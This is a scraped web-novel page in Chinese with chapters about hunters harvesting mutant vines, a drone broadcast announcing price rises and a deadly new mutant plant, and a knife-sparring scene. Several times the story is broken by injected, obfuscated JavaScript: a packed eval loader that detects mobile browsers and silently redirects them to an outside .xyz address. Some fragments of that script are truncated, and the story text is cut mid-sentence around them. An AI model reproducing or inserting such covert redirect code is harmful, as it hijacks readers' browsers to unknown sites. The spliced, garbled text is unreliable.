$(''.inform'').remove(); $(''#content'').append('' 态,听后哭得更惨,鼻涕眼泪糊了一脸,竹筒倒豆子般,和那小姑娘说了一遍自己这段时间的经历。 听到这里,时却觉出些东西。 “她是小杜?” 蒋云霞感慨地点头。 “后来她告诉我,当时好在我哭得快,叫惨的速度同样不慢,否则早被她捅了个对穿。小杜那会刚下夜班,身上藏了把刀的。” “听完我叫惨,她有点心软,想想就把刀换成了电击器,网开一面,只给我电晕过去了而已。” 时却:嗯……嗯? 等等,这段唏嘘往事里,是不是混进去了什么奇怪的东西。和坚定的自我防卫有关的。 大概时却露出的表情过于古怪,蒋云霞被逗乐了。 她砰砰地拍时却的背,哈哈大笑,好半天才平复下来,慢慢揩去眼睛的湿痕,说: “没见识过吧,这才是十三区温情故事的正常风格……总之,我和小杜就这么认识了。” 讲到这里,她停顿下来,定定看时却,眼中透露出几分思量,好像在认真考虑要不要说接下来的话。 时却莫名有些紧张。 蒋云霞的脸上,慢慢浮现出一个无可奈何的笑容。 她张了张嘴,说: “蝴蝶,昨天中午我在火化平台上的时候,其实留意到了你。你不像自己想象中的那样不起眼。谢谢你来看我。还有……今天中午,我也看到你了。” 时却稍稍瞪大眼睛。 “咱俩位置颠倒了,”仿佛怕惊扰了什么似的,蒋云霞轻声道,“不是么?” 时却避而不答,沉默几秒后,回道:“我没看到你。” 她垂下眼,鬼使神差地去摸一边耳朵。 那里……仿佛还残留着鲜血慢慢向下爬行的感觉。 蒋云霞狠狠吸了口烟,索然无味般地掏出烟盒。 她将只短了一截的香烟在烟盒表面上蹭灭了,丢回烟盒中。 “老天真无趣啊,叫不同的人一遍遍相同地死,怎么它看不腻味呢?你说是吧?” 时却脸颊侧的肌肉抽动了一下,咬肌紧绷,没有回答。 她想摸脖子,或去找怀里那个装有蓝色钢笔的袋子。 最终,她忍住了。 作为补偿动作,时却丢开手里的蛙藤,缓慢地脱下沾满黏液的手套,企图努力抑制住逐渐变得急促的呼吸和心跳。 此处树林茂密,大风刮不太进来,仅有枝叶与枝叶之间摩挲地响着,如同无数个由死去之人化为的幽灵,挨挨挤挤地围绕在她们周身窃窃私语。 见气氛似乎低迷至了冰点,蒋云霞突兀地一笑。 “不好意思啊,”她大大咧咧道,“其实刚才那句话,不是我现在的感想啦,它是我六七年前,在那个喝醉的晚上,对小杜说的。” “结果呢,在电翻我之前,她居然很认真地回应了我这句话。蝴蝶,你猜她说了什么?” “……什么?” 蒋云霞侧过身,正对时却,十分自然地举起手。 她的手大而粗糙,其上布满形态各异的伤痕和细小的干裂口子。 这个只合作过一次的中年女人笑着,重重地拍了拍时却的右肩。 “蝴蝶,上路后我一直有关注你的事情,我不知道是你的病的关系,还是你从前经历过什么,让你看着既有些天真气,和大部分人不太一样,又身经百战……” “我们的交情还不深,这话可能过界了,但我还是希望和你说一说。” “小杜当时对我讲,‘这不是你能决定的,人不需要为力不能及的东西负责。巧了,生死的事情最复杂,最让人无计可施’。” “你能明白她的意思吗?”蒋云霞叹道。 “身边的人死去,不天然是你的责任。这不是你能决定的事情,你无能为力。” “太阳总会升起,总会落下,周而复始。接受、直面、承认,然后继续上路吧,蝴蝶。” 54. 普涨 对时却来说,自短休后,时间过得飞快。 准确地讲,自蒋云霞拍着她的肩膀说完那番对于死亡的认识后,她一直处在略微恍惚的状态中。 这恍惚不影响干活儿。她的命中率如短休前一样高,一旦锁定试图慢吞吞重回蛙藤体内的蛙舌,可谓百发百中。 只与此同时,她的头脑还为某种微妙的眩晕所攫取。 踩在雨停后不过十几小时便梆硬了的土地上,她鼻间充斥着冰凉的空气,被妥帖覆盖在厚实织物下的皮肤不时激起阵阵战栗。 此战栗并非因寒冷而起。 硬要形容,她好似被扔到了空旷的海岸边,立于受哗哗浪花不住拍打的陡峭礁石之上,充满腥气的海风兜头刮来—— 而抬眼往前,天空中乌云诡谲,电闪雷鸣,远处立起高达数米巨浪,不知远近,不知何时席卷而下。 在时却身边,沈司奥的视线一如既往地追着,蒋云霞则不时朝她投来赞许的目光。 时却清楚,这个老猎手已经是能在危急关头与她背对背作战的人,她对她说的那些都是真心话,是发自肺腑的经验之谈。 ……那么,我要听从这建议吗? 时却扪心自问。 嘭的一声枪响,嘭的又一声,再一声。时却开枪,再开枪,再开枪。 蒋云霞从一棵树上矫捷地跃下,问她后坐力方面是否还能忍受。 时却动了动不觉得有什么难受的肩膀,下意识回以略带疑问的眼神,接着才反应过来,说还好。 嘭。 沈司奥递来一瓶水,他贴心地拧开了盖,时却冲他笑笑,喝上两口。 嘭,嘭。 蒋云霞不知第几次爬上新的一棵树。沈司奥窸窸窣窣地拖蛙藤。 嘭,嘭,嘭。 这块地方清的差不多了,他们瞄准一处新地点。 嘭。嘭。咔哒。 弹匣不知第几次被打空。蒋云霞毫不避嫌地让时却自己去她车里再翻出点。 冬日黑得早。 直到傍晚,直到暗沉的天幕朝大地倾压而下,时却的后脑勺仍发麻得厉害,似有无数根如罗网交织着的筋被抻紧、绷直了般。 ……要接受那建议吗?她仍在思考着,转了转眼珠,去瞧沈司奥和蒋云霞。 几秒钟前,征询过她后,蒋云霞喊了停,结束了三人这半个白天的采集。 他们收获不少蛙藤,其中转换地点前采集到的已被搬上蒋云霞的车,如今该搬运在新地点获得的了;老规矩,它们被沈司奥收拢到了一处。 蒋云霞穿回外套,以几乎是沈司奥两倍多的量合抱起几根蛙藤,往自己的越野车所在位置走。沈司奥紧随其后。 “接受、直面、承认,然后继续上路”。 ……蒋云霞的亲身经验,它似乎没什么问题。时却心想。 看着两人忙活,她放下枪,揉揉肩膀赶去帮忙,将半个白天的恍惚抛之脑后。 * 蒋云霞的车边,数个厚实的大口袋依次排开,等待被投入主人今日的战利品。 三人各自戴好手套,热火朝天地开始往这些袋子里塞蛙藤。 蛙藤之间的差异颇大。不过塞上一会,时却至少经手好几种具有不同直径的藤条。 她捡起两根肉眼可辨粗细相差巨大的蛙藤,记得它们出自同一棵树的差不多高度。她左手拎细,右手握粗,随口评价,说它们的看上去差了好多。 “很正常。”蒋云霞说。她塞蛙藤的动作极其娴熟,一人动作的速度比时却和沈司奥两人加起来还快。 沈司奥道:“辐射对不同个体的影响有差别。” “打个比方,”他撩起时却右手的粗蛙藤,“这根,它可能喜阳,越受阳光照射,越受滋养。它恰好缠在了一根经常受暴晒的树干上,所以长得很好。” 他再捏捏时却左手的细蛙藤。 “这根,它可能喜阴,该待在遮天蔽日下的低矮树木上,不过倒霉地缠在了根得见阳光的树干上,才会这么瘦。” 时却将那两根蛙藤丢入就近的口袋中。 她察觉到个自己一直忽略的现象:所有的蛙藤是整根缠绕在树枝上,而没有任何部位缠绕于树干上的……它们怎么上的树?” 她继续抛出疑问:“既然一个喜阴一个喜阳,它们怎么会缠在差不多位置的树枝上?” 沈司奥和蒋云霞互看一眼,蒋云霞举双手作投降状:“小老板,你把基础教育的内容讲得这么头头是道,还是你来。” “你得先知道一点目前还有效的生物常识。”沈司奥抬起眼镜捏捏鼻梁。 他忘了手套不干净,手一撤开,鼻梁两侧便留下两块极为显眼的黑灰脏痕,配上一贯平淡的神情,自然显出几分因反差而带来的滑稽。 时却和蒋云霞相互看看彼此,眼中流露出一点笑意。 沈司奥敲敲就近的树干。时却随他的动作看去,只见那是一棵形貌没有任何古怪之处的树木,树皮鳞皴如甲,枝繁叶茂,随风缓摇。 “不是所有受辐射影响的生物都有夸张的变异部分,”沈司奥道,“我们一路走来,你也有看到很普通的树木、藤蔓等。它们是不是乍一眼瞧着还挺正常?” 时却点头;这是的确,否则进入这片森林前,她就不可能单纯用“森林”这个词来定义它了。 沈司奥说:“教科书上的意思是,如果对这些树木藤蔓取样做分析,和没受辐射影响的正常树木和藤蔓相比,这两者的细胞有生物学或微观角度上的明显区分。属于外观和习性暂无明显改变的‘受辐射影响的生物’。” “为将这类‘受辐射影响,但外观和习性暂无变化的生物’,和明显变异的生物区分开,学术界一般不管它们叫‘变异生物’,而叫‘前序生物’。” “从严格意义上说,”他神情复杂地笑了一下,“前序生物包括如今还活在世界上的任何动植物……以及每一个人。” “前序生物处在高浓度辐射环境里,在死亡前有可能会转为变异生物,也就是你见过的蛙藤、四脚鱼、变异狼这些。” 他两手一拍,发出不大不小“啪”的一声。 “到这里,话终于能说回来了。你问喜阴和喜阳的蛙藤为什么待在了差不多的地方,很简单,蛙藤的前序是变异藤蔓,蛙藤没法选择它的‘出生位置’,这取决于它的前序。” “一根缠绕在树干上的变异藤蔓即将往蛙藤转变时,它会在短期内往上爬一段距离,找到最近的树枝缠住;之后,如果它还留有绕在树干上的部分,那部分会坏死脱落,只留下最终形成蛙藤的部分。” 沈司奥嘴上巴拉巴拉说着,手上也没停。 他笨手笨脚地试图一连往口袋里放好几根蛙藤,不想手上一个没抱住散了花,蛙藤们一半掉进口袋里,另一半章鱼肢似的张牙舞爪地分散开,垂在口袋边沿上。 这些蛙藤与挂在锅边缘的软面条无甚区别,机械师不得不一脸无语地挨个儿将它们再撩进口袋内。 “动物也一样。”他清清嗓子继续道。 “区外有很多前序动物,比如个头大小正常的狼,它们比那晚你弄死过的那两条小得多,更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369458|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好狩猎。不过因为辐射的缘故,枪支刀具管制放开,前序动物们学聪明了,更习惯于避人,更怕人,很难见到。” “差不多就这些了,”沈司奥推推眼镜,在脸上再留下几道斑驳的脏迹,“还有别的吗?” 蒋云霞听得津津有味,竖起大拇指:“不愧是年轻人,学校里教的东西还好好留在脑子里!” 时却:“……” 她仿若听天方夜谭般消化完这段讯息,默默总结:一言以蔽之,这个世界的生物学被辐射搞得乱七八糟。 她挠挠头,又直觉哪里不太对劲,举单手:“沈老师,我还有问题。” “……问。” “你说的前序生物,它们活在区外,没有防护罩也没有护身符,一百年了,没全成变异生物?” 出乎意料地,这个问题让沈司奥和蒋云霞双双沉默了一会。 口袋都装得差不多了,蒋云霞扎好一个装满了的口袋放进车里。“比起人,辐射对动物和植物的影响小很多。鬼知道为什么呢。” 沈司奥接她的话再补充了一番。 他的意思是,在一开始,大约是防护罩建成后的二三十年间,的确很多科学家企图研究辐射和变异生物本身,可惜得出的成果相对有限。 随着哪怕生活在区内的人也因长年累月的辐射影响而大量患病死亡,人们不得不重新分配投注在各个领域的人力物力。根据相关的投票,科研的重心渐渐偏转变成了注重解决现实问题。 比如怎样提高区内养殖产业中动植物的生存率和相关产出;如何高效地净化变异生物的辐射;如何优化迭代仿生人的设计,让仿生人能代替更多人工作业——尤其是区外作业,等等。 环境使然,人类疲于求存,再难顾及更多。 当下,专注去研究辐射本身,或变异生物的演变规律这方面课题的科学家,仅有少数。 “好吧,”时却干巴巴地说,“我暂时没别的问题了。” 她和蒋云霞挨个搬起地上的口袋到车里。沈司奥见两人搬得热火朝天,试图帮忙,却并不意外地根本拎不动装满了蛙藤的口袋。 他改姿势尝试,发现换成拖曳倒是可以拖动,正打算尝试,被时却略带无奈地制止。 “小老板,”她学着蒋云霞那样称呼道,点点自己的鼻子,委婉暗示,“要不你取个镜子擦擦脸去?” 沈司奥当真背过身,从包翻了个小镜子;仅一瞧镜子里自己的脸,他立即转头回来,顶着那张花猫脸,朝时却翻白眼。 时却揪起一只手的手套皮,狭促地朝他挤挤眼睛,意思也很明显:怪你自己咯。 沈司奥:“……” 过了会,一切收拾停当,三人上车,赶到晚上的扎营地,缓冲点13-5。 基于车上蛙藤的斤数粗略一算得有几百斤,蒋云霞将车停在距离兑换点较近的边缘,果断放弃三人吭哧吭哧将它们搬过去的方案,给兑换点的黑蝎打去电话,叫他们过来。 没几分钟,兑换点的工作人员赶到,一番称重和计算完毕,报出价钱。 蒋云霞一听就眯了眼睛。 “你们蝎子的回收价涨了不少啊,得有30%吧,”她双手交叉抱胸倚在车门边上说,“今天是啥好日子不成?” “哪有什么好日子,”工作人员耸肩,举食指往天空的方向戳了戳,“上头怎么通知,我们怎么做。” 时却问:“只有蛙藤的价格涨了?” “不,变异植物的价钱普涨,”工作人员说,“今晚会有无人机播更详细的通知,你们注意留意。” 55. 通知 收到卖掉蛙藤所得的报酬后,蒋云霞提出和时却均分。时却问她身上有没有现金。 得到“备了不少”的回答后,她让蒋云霞将自己那一份钱的大部分打进沈司奥的账户中,余下小部分直接以现金的形式给她。 蒋云霞低声对时却感慨:“上次你也让我把报酬打给你那小老板,这么相信他?” 她说的是合作狩猎变异野猪那次。 时却笑着冲她眨眼,示意“没错”。 更现实些的原因自然不方便透露给蒋云霞—— 即时却本人是个黑户,终端为附着在沈司奥名下的亲属设备,数字货币这玩意,打给她和直接打给沈司奥没有任何区别。 “该吃饭了,”她转移话题,“一起?” “一起呗,”蒋云霞拍拍肚子,“爬了半天的树,我现在能吃下一头牛” 三人赶向用餐处。 路上,时却给流萤发消息,约接她的时间。 流萤回复说还有事,今天不用时却去接,等他们找好扎营位置后,把定位发来就行。 用餐处的人不少。 快排到时却三人时,原本零散分散在队伍上空中的无人机不约而同升得更高,再以射线形状彼此拉远距离,用近乎等间距的形态悬在队伍上空,代表着摄像的红点不断闪烁。 三人仰头,心里门儿清,兑换点工作人员提到的“无人机通知”场景即将上演。 无人机这小玩意,从踏上区外的第一天起,就总出现在时却的视线范围内:在行路时,在狩猎时,在扎营地。 它们神出鬼没,哪儿都钻。 大多时候,除自身运行自带的声音外,这些小玩意还算安分。 印象里,时却两次听到过人声从无人机内发出,一次是最近蜥蜴代壁虎引路,再往前是这些铁皮家伙叭叭缓冲点攻略时—— 等等。那次够吵够洗脑的了,这次……时却和沈司奥互看一眼,陡然生出不祥的预感。 相比之下,经验丰富的蒋云霞老道许多。 她眼明手快地摸出了三对棉花团,获得时却和沈司奥由衷的赞叹眼神中各塞给他们一对。 三人马上搓小了棉花团,塞入耳中。 果然,没过几秒钟,无人机们纷纷发了疯。 以近乎一条街商铺全快倒闭时叭叭“清仓了大甩卖了”的音量,它们先声夺人地外放出了一段节奏感极强的劲爆DJ音乐。 随后,音乐声变低,一粗着嗓子的女声以菜场吆喝般的音量中气十足道: “停一停,停一停!尤其紫蝎的兄弟姐妹们,竖耳朵仔细听了,紧急通知,变异植物回收价即日起全涨30%,机不可失,时不再来!” “各位!”女声铿锵有力地鼓动,“这和钱被丢大街上有什么区别是不是,多搞几斤花花草草,四舍五入这趟下来是不根本不花钱?是!不!是!” “停一停,停一停!尤其紫蝎的……” 熟悉的洗脑模式开启,女声的这两段话开始被重复播放。 一时间,时却脑中弹幕横幅似的全飘着她话里的短语。 “停一停停一停”、“机不可失时不再来”、“是不是”等等,还是带感叹号版本的那种。 众人:“……” ……事实证明,大力能出奇迹。 如此重复六七遍后,在场相当部分紫蝎脸上的表情多少变得微妙,基本均历经以下的变化: 啥玩意→好吵→好直接无脑的宣传→她说的好像有几分道理。 除方圆这数米内,时却留意到,不止他们这里,其他方位同样隐隐传来有节奏相同的模糊响动。 她四面眺去,还可见远处有代表无人机的黑点悬浮于空中。 可想而知,蝎子这宣传策略包括同一时间多点开花,是特地选了这么个大部分人都准备吃晚饭的点。 排在时却三人前面的是几个蓝蝎,他们心态倒好,并不在意紫蝎的事情,反倒事不关己,扯着嗓子催促用餐处的黑蝎打包。 “来,认识下蝎子一把手,”蒋云霞扶额,露出一言难尽的牙酸表情,凑到时却耳朵边上提高语调说,“这她的声音,她偶尔喜欢用这种方式体现存在感。” 时却:“……” 除去无语凝噎的部分,不知道是不是错觉,她老觉得蝎子老大的音色有几分耳熟,似乎在哪曾听到过与这略相似的音色。 她试图努力在回忆里翻找,不过在魔音贯耳的冲击下,没几秒钟便选择放弃,想这并不是什么重要的事情。 大约叭叭到第十遍后,蝎子老大的声音一低,听上去严肃不少。 丝毫不给人缓冲和准备,她咳嗽两下,话锋急转: “好了,接下来要说正经的了,不光紫蝎,其他人都别忙活了,好好听。” 时却三人的前头,本埋头给蓝蝎们打包的黑蝎停下手中的动作。 最前面的蓝蝎拧眉还要催,黑蝎冲其摇摇头,伸手指向空中的无人机,示意蓝蝎仔细听。 “消息都传开了吧,缓冲点边缘的事情,”蝎子老大缓缓说,“实际上,不止缓冲点边缘,昨夜扎营时,有位于扎营地边缘的人也受到了袭击。” 有人不禁失声:“什么?!” “嘘,小声点!” “我就知道#%%&……” 浪潮般的窃窃私语立即翻涌而起,对未知的恐惧形同毒药,迅速在人群中蔓延开。 仿佛预判到了在场人的反应,蝎子老大停顿片刻,不再发言,直到沸腾的人声自行逐渐变低,才继续道: “对于上报到蝎子这边的受袭人,我们尽可能给予了抗生素和消炎药。很遗憾,这些常规的药品没给病人没有任何帮助,不如一粒止痛药或一管安乐死来得有用……目前,一旦受袭,只能等死。” “比我们先行的蜜桃队伍也碰上了类似的事情。恰好,他们那有准备接受生物学方面高等教育的家伙。” “经过讨论,我们双方怀疑这事大概率是一种新的变异植物干的,不知道是哪种常见前序植物的新变种。” “初步推测,它昼伏夜出,能克服缓冲点边缘的驱散效果,擅长借夜色的掩盖进行偷袭,可能不喜和猎物正面对抗。” “所以,为尽可能降低夜晚扎营的风险,我们对所有变异植物进行了回收价的普涨,希望各位——尤其各位紫蝎,接下来能尽力采集变异植物,并主动上报任何奇异的见闻,以便蝎子获得更多关于这种新变异植物的情报。当然,蝎子也会尽力增强对扎营地的巡视力度。” “此外,经过讨论,腐烂菇、百穿花和蛙藤这三种变异植物,除享受普涨的30%外,每分别提供到十斤、三斤和三十斤,每斤的回收价整体分别再涨15%、10%、5%。” “鉴于区外地图对变异植物的描述偏向于简单,我们特地做了一版这三种变异植物的影像介绍。” 无人机们调转角度朝向同一方向,射出道道穿破夜空的光亮,汇聚形成一幅面朝下的巨大投影。 投影内容为横向排开的三个影像,分别对应她提及的三种变异植物。 时却从左往右看。 第一个影像看起来像某种情景复现的短片,主角是一朵仅有乒乓球直径高的蘑菇。 它拥有可爱滚圆的棕色伞状菌盖和上细下粗的灰白菌柄;它的菌柄下端没入泥土中,裸露在地面上的部分以人呼吸般的节奏左摇右摆。 一只小老鼠路过这只蘑菇,蘑菇立即加快了摇摆的节奏;自菌柄和菌盖的连接处,它喷射出总数无法计量的云雾状孢子,孢子散至空气中,附着在小老鼠的皮毛上。 小老鼠携带着孢子,回到了鼠群中。 下一秒,鼠群的画面变得模糊,取而代之的是屏幕中心跳跃出一只老式怀表,其表盘上的指针快速旋转,示意时间流逝。 钟表消失,模糊的鼠群重新变得清晰。这些毛茸茸的小动物们,尽数死亡了。 它们肚皮朝上地仰倒,四脚朝天并抽搐,口中溢血,浑身上下密布多处溢脓的溃烂,更有星星点点的棕斑,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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蜜蜂们离开,返回到百穿花附近。 如同喝大了的醉汉般,它们摇摇晃晃、毫无规律地在百穿花的上方盘旋几下,慢悠悠降落于花瓣上。 几秒钟后,画面一分为二,半边是真实的蜜蜂落在百穿花上的场景,半边是具有一定透明度的,百穿花和蜜蜂的卡通建模。 在建模这边,百穿花显露出其还有位于花中央位置,并处在花柱底端的深绿色子房。 诡异的是,卡通数模中,百穿花子房的内部没有胚珠,而是半满着某种胶状黄色填充物。 沿不同方向,蜜蜂们深入了花内。 真实场景显示,它们眨眼间钻入百穿花的中下部;建模画面显示,百穿花的深绿子房仿佛检测到了蜜蜂们般,主动裂开了三个入口,供蜜蜂们各自钻入。 进到深绿子房内部的蜜蜂们浸润到胶状黄色填充物中,凝然不动了。 时钟标识跳出再隐没,蜜蜂尾部的蜂针重新长出。 影像到此结束。 时却瞟一眼位于这个影像边上的,用于展示蛙藤的第三个影像。那上面表现出的内容是她今天看了一天的蛙藤狩猎景象。 几分钟后,三个影像的重复播放停止,全息投影无声地散去。 不再有更多的通知或洗脑宣传,无人机们允自下落至原有高度。 ……无人机们是恢复了原状,在场的人却没有 。 几乎每个有小团体的人,都压低了声音,激烈地与同伴或讨论或争执起来。 用餐处的黑蝎完成打包,叫了好几声,才将面前呆愣的几个蓝蝎喊回神。 “蝎子拿钱买命来了。” “后头三个变异植物该不是有重大嫌疑吧?那个新变异植物是它们里边其中一个的变种?” “今晚是不是早点去抢搭帐篷的位置好点?” “蝎子给的信息太有限了,他们是不是自己还懵圈着……” 那几个蓝蝎皱眉嘀咕着,付完钱,拎着打包好的盒饭走开。 时却后头排着个一身机油味的黑蝎,黑蝎的脖子上骑着个约莫四五岁大的男孩,男孩脖挂灰蝎卡,左看右看周围或焦虑或忐忑的大人们,怯生生地问了一句话。 “妈妈,那我会死吗?” 他的母亲平静地回答:“妈妈尽力不让这种事情发生,好吗?” 56. 计划 时却三人靠在蒋云霞的车边上吃饭。 附近停有不少车辆,相当部分的车旁同样零散围着人,大多三五成群,少数形单影只。 这些人里干什么的都有:抽烟、吃饭、看终端……更多的在交谈。 这导致夜风不时送来些细碎的谈话声,叽叽咕咕地钻进时却的耳朵里。 一个落了单的女人压低了声音和身处十四区的丈夫通话,让对方不用担心自己这边,绝口不提蝎子队伍碰上了新变异植物的消息。 在她的话音之间,另有两人抠搜算起兜里的钱,讨论是不是该去黑街买套厚实点的帐篷。 讨论着讨论着,他们语带恐慌地回忆起蝎子老大宣布的讯息,说这新变异植物明摆着是在追着蝎子出行的这个大部队跑,要不他们离队算了。 渐渐地,这二人的话语声低下去,一个四人小队的声音高起来,商量着明天该选哪种变异植物下手好。 时却往嘴里塞一口饭,听这其中一人讲,考虑蝎子最后强调的三种变异植物里可能出新变种的几率大,如要要选那三种变异植物,那它们各自的特性得往夸张了考虑,好针对性地进行防护。 她觉得这话说得对,边咀嚼边更仔细地听。 那四人中的另外三人也纷纷赞同,各自头脑风暴,说采集腐烂菇最好备防毒面具,百穿花的话更不得了,至少得配套防蜂服才让人安心,蛙藤倒是比较省事…… 一只手在时却眼前晃了晃,她咬着嘴里的一次性筷子回神。 蒋云霞面带惊诧地收回手。 “蝴蝶,你在听别人说话?你能听清?” “连蒙带猜么,反正今晚就那一件大事。”时却慢吞吞夹了点米饭吃,含糊道。 蒋云霞吃得差不多了,抹抹嘴,折断手里的一次性筷子塞进盒饭里。 “接下来几天还一起行动吗?”她问道,见时却去瞟沈司奥,想起什么似的,笑着瞥一眼沈司奥,半开玩笑地问他这个小老板肯不肯放人。 “差点忘了,蝴蝶这么个有职业操守的老实保镖,肯定不会越过你。你怎么说,小老板,看我行不行?” 沈司奥掏出瓶矿泉水拧开,不紧不慢地喝了一口。 “看蝴蝶自己,我都行。”他一如既往地将选择权交给时却。 时却和蒋云霞两次合作得均挺愉快,一口答应。 “你有什么计划?” 蒋云霞摸出烟盒,不继续动作,若有所思地在上面摩挲了几下手指,流露出一点难以叫时却形容的微妙神情。 “说实话,蝎子这么一抬价,变异植物成了最赚钱的猎物,很让人心动啊。” 蒋云霞深吸了口气,做出决定般,定定看向时却:“要不试试看明天去采腐烂菇?除提价的30%外再多挣点?” 时却咽下最后一口饭。 早也吃完的沈司奥不知从哪掏出了个垃圾袋,给三人的垃圾装了起来,堪称后勤小能手。 蒋云霞从车里摸出几条口香糖分给时却和沈司奥。 这个中年猎人大大方方道:“其实……提议腐烂菇吧,我还有些私心。这玩意在十三区附近不怎么长,听说越靠近十四区才越多。” “我后面打算在十四区常住。这一趟活下来的话,我估计还得经常和它打交道。有你帮忙,我提前熟悉熟悉这玩意,没什么坏处。” 时却好奇:“你不怕顺藤摸瓜,碰到那个新变异植物?” 蒋云霞掏出腰间的一把匕首,扯了衣角,仔细地擦起其雪亮的刀身。 她的唇角勾起奇异的冷酷弧度,以平淡的语气说: “它不是在紧咬着我们这行人不放了吗?这几天死的人,总不是追着它才受害的。真迎面碰上了,无非尽人事,听天命。” 时却沉默几秒钟,开出条件:“能搞到像样防护装备的话,我没意见。” 她说出方才自己听到的讯息,蒋云霞听了却表示,那个四人团队过于理想化了。 在区外,如果真倒霉透顶了——就像如今——碰到新变异生物,不如直接硬上。 能不能买到防护装备是一回事,就算能买到,那买哪种,买什么样的防护等级? 新变异生物的大多情报是未知态,除非抓人当肉盾去试,不然谁也不清楚防护装备能起到的效果到底是保护还是拖累。 “腐烂菇的话……”蒋云霞沉吟着调出区外地图和自己的笔记。 “一般来说,戴个鼻腔过滤器就行,人即便误吸入或误了孢子,也不会毙命,最多短时陷入幻觉,可以拿通用的抗毒药和药膏解毒。这药我备了不少。” 时却明白,自己即便把脸埋进腐烂菇群里,大概率还能超自由地大口呼吸,不需要考虑中毒,只需要担心怎么安然无恙地把事情圆过去。 其实更保守的方法是拒绝蒋云霞,提议三人去采集或狩猎点别的什么。 但她觉得蒋云霞说的没错。哪一点都没错。 首先是钱。 缴纳她和沈司奥的日常任务量需要钱。后续到了十四区,她会需要更多钱,无论用来维修自己,还是掩人耳目地生活。 其次,蒋云霞说了,越靠近十四区,腐烂菇越多,她避不开的。 最后,这个不知从哪来的新变异植物,的确八成盯上了蝎子这个大部队。 与其因畏惧未知而束手束脚,惊恐于一个隐匿于黑暗中的模糊阴影,倒不如当做它不存在,该干嘛干嘛。 想通后,时却表示可以认同去采集腐烂菇的计划,不过她坚守的底线是,至少得保险起见地给沈司奥弄来一件防毒面具。 “还得要不影响她扛着我跑的那种。”沈司奥插/入二人的对话中,十分惜命地玩了把冷幽默。 蒋云霞看看他,再瞅瞅时却,乐得拍了拍车。 “你俩和唱双簧差不多。行吧,我们都找找。” “对了,我一会就去集中休息处占扎营位置了,到时候顺便给你们也占一个,不用谢。” 三人顺势约定明早会合,各自分开。 时却记着还要当壁虎陪练的事情。 她联系上壁虎,得到他的方位所在,带沈司奥来到熟悉的正方形充气帐篷前。 二人进入帐篷时,壁虎在看书。 他的上半身斜歪着,倚靠于八角笼的一根立柱上,手中是此前时却送到花朵姐那的《复仇诗集》。 听到响动,他掀掀眼皮,合上书,卷起放到外套的内口袋里。 “解压好去处那次,补偿的钱打过去了,”他道,“记得叫你指定的那个账户主人看看到账没。” 时却朝壁虎抬抬手,示意知道。她走近,在武器架上发现些新鲜玩意。 昨日,这上头全是泛雪光的开刃冷兵器,晃眼睛得很;今天,两种款式不同的塑料匕首格格不入地躺在了武器架最顶层的中心。 这两款塑料匕首的刀尖均呈圆润的弧形,其中一款的刀身全透明,另一款的刀身不透明,并嵌设有金属导体区。 时却在入伍新兵中看到过这类东西的简短说明,这种塑料匕首属于专用于训练的器具。 她挨款试完,得出结论: 当使用者刺或劈的力度超过设定阈值时,刀身透明的那款匕首将发出彩光和哔哔叫的警示声,带导体的那款匕首将放电并附带明显的滋啦电流响动,打在身上有一定的痛感。 时却取了把只能发光和发声的塑料匕首,低头连捅自己腹部数下,在道道炫目彩光中引出一阵哔哔乱叫。 沈司奥无奈地看她一眼。壁虎扯扯嘴角:“蝴蝶,你是小孩子吗?” “对啊,”时却随口道,“告诉你个秘密,我还不满三岁。”这甚至是大实话。 抬头迎上两人基于南辕北辙原因而无语的表情,她笑了笑,举起手中的匕首晃晃,冲壁虎一抬下巴:“今天我使这个。”。 甲方的暗示都快贴脸上了,她自然得配合。 壁虎嘟囔了一句“我就知道”,伸手抓过一把和时却同款的匕首,脱下外套,往八角笼内大步流星地走。 陪练正式开始。 刚起头,二人照例摆开架势。他们脚尖点地,跳着步,紧盯对方,脚下迈出互为反向的弧形轨迹。 时却先攻。 她踮着脚小步靠近壁虎,持匕的手不断往半空中虚送,接连作出要进攻壁虎面门的假动作,实则匕首只略往前一点便猛地收回。 如此重复数下,她的动作幅度一次比一次大,人亦逐渐逼近,很快让壁虎不得不用持匕的右手作出了一个下撇的格挡动作。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他拿了剩下那条毛巾擦起汗,不无遗憾道:“你要用带电击的那款,能更接近实战。” 时却随意擦了擦脸。 她差不多摸清了些壁虎的秉性。 她不愿意于陪练时动真格的,不动用原来武器架上的任何开刃兵器,壁虎并不逼迫她,只是让武器架上默默出现了专用于训练的、杀伤力低的器具。 同时,名义上是陪练,可壁虎不屑在武器选择上占便宜,他只会和她的所选高度保持一致。只有她选了带电击的那款匕首,壁虎才会允许自己取那款匕首作为武器。 但哪个打工人乐意增加自己的上班难度呢? 时却打着哈哈,表示陪甲方玩电击play是另外的价钱。 她一指沈司奥挂在腰间的电击器,意味深长道:“上个陪我玩电的人,最后的下场可不怎么好。” 壁虎冷不防被她一噎,翻了个白眼,索性选择赶人。 时却甩甩毛巾,“这个?” “你带走。” 将毛巾顺手搭在肩上,时却和沈司奥转身准备出帐篷。 走出没几步,她被壁虎叫住,回头,这蝎子的二把手边穿外套,边说忘了感谢她昨天去给花朵姐送书。 “话说,你干什么了?”壁虎道,“花朵和我讲,以后别让你去她那。” 饶是他面色如常,看样子没有打算秋后算账的意思,时却也不禁有点尴尬。 总不能说我差点冲你对象发火了吧? 见她眼神游移,壁虎颇有些头疼地按按额角,摸出烟盒和打火机,抽了支烟点上火。 “花朵不肯和我说,你怎么一幅……”他的言语间透出股无奈,“行,我不往下探了。” 